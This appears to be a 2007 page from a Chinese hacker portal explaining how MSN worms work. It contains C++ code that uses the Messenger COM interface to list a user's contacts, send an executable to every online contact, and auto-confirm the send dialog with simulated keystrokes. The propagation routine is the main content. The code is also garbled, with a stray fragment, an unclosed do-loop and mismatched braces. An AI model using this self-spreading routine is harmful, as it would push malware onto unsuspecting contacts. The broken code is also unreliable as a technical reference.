| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 病毒知识 >> 正文 用户登录 新用户注册
MSN病毒原理及分析         ★★★ 【字体:
MSN病毒原理及分析
作者:不详 文章来源:华夏收集 点击数: 更新时间:2007-1-16
前段时间MSN病毒非常流行,它的原理其实很简单,最主要的工作就是操控MSN,其实这个很简单,微软有公开的接口让你用,所以我就不多说了,直接进入正题。

  下面是测试代码,只有通过MSN传送文件部分
   CODE:
 #include "stdafx.h"
 #include <stdio.h>
 #include <windows.h>
 #include "msgruaid.h" //这两个头文件就是接口的定义
 #include "msgrua.h" //有兴趣的同学可以在网上找找(没找着可以找我要)
 #include <comutil.h>

 int main(int argc, char* argv[])
 { 
  IMessenger *pIMessenger = NULL; //a pointer to an IMessenger interface BSTR pbstrName, bstrFriendName;
  IMessengerContact *MsnContact;
  IMessengerContacts *MsnContacts;
  IMessengerWindow *pIMsnWindow;
  __MIDL___MIDL_itf_msgrua_0000_0002 dwStatus;
  VARIANT vaTemp;
  BSTR bstrFileName;
  char *szOpenDlg;
  char szMsnWindowsClass[] = "IMWindowClass";
  char szButtonText[] = "打开(&O)";
  HWND hWnd = NULL, hBtn = NULL;
  DWORD dwControlId = 0;
  char szCurDir[MAX_PATH], szBuf[MAX_PATH];

  CoInitialize(0); //初始化COM库
  CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); //创建一个实例
  pIMessenger->get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表
  pIMessenger->get_Window((IDispatch**)&pIMsnWindow);
  long nCount;
  MsnContacts->get_Count(&nCount); //得到好友数
  for (int i = 0; i < nCount; i++)
  { 
   MsnContacts->Item(i, (IDispatch**)&MsnContact);
   MsnContact->get_SigninName(&pbstrName); //账号
   MsnContact->get_FriendlyName(&bstrFriendName); //签名
   szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName);
   MsnContact->get_Status(&dwStatus);
   if (dwStatus == MISTATUS_ONLINE) //判断是否在线
   { 
    GetCurrentDirectory(MAX_PATH, szCurDir);
    lstrcat(szCurDir, "\\");
    lstrcat(szCurDir, "TestMsn.exe");
    lstrcpy(szBuf, "发送文件给 ");
    lstrcat(szBuf, szOpenDlg);
    bstrFileName = _com_util::ConvertStringToBSTR(szCurDir);
    vaTemp.vt = VT_BSTR;
    vaTemp.bstrVal = pbstrName;
    pIMessenger->SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //发送文件
    do 
    { 
     hWnd = FindWindow(NULL,szBuf);
     hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText);
     & hBtn));
     dwControlId <<= 16;
     dwControlId |= 1;
     PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn));
     keybd_event(VK_RETURN, 0, 0, 0);
     keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0);

    }
    MsnContact->Release();
    MsnContacts->Release();
    pIMessenger->Release(); //释放相关资源
    CoUninitialize();
    ExitProcess(0);
    return 0;
 }
责任编辑:杨勇  联系方式  Email:杨勇
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    菜鸟必懂木马连接原理
    MSN 最新跨站代码
    CIH病毒介绍
    CIH知识BIOS易损之谜
    CIH病毒完全档案
    俄媒:中国黑客用病毒攻击奥运敌人
    病毒怎样在手机里攻击
    MSN钓鱼骗你隐私没商量
    菜鸟必懂木马连接原理
    判断你电脑是否含病毒
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号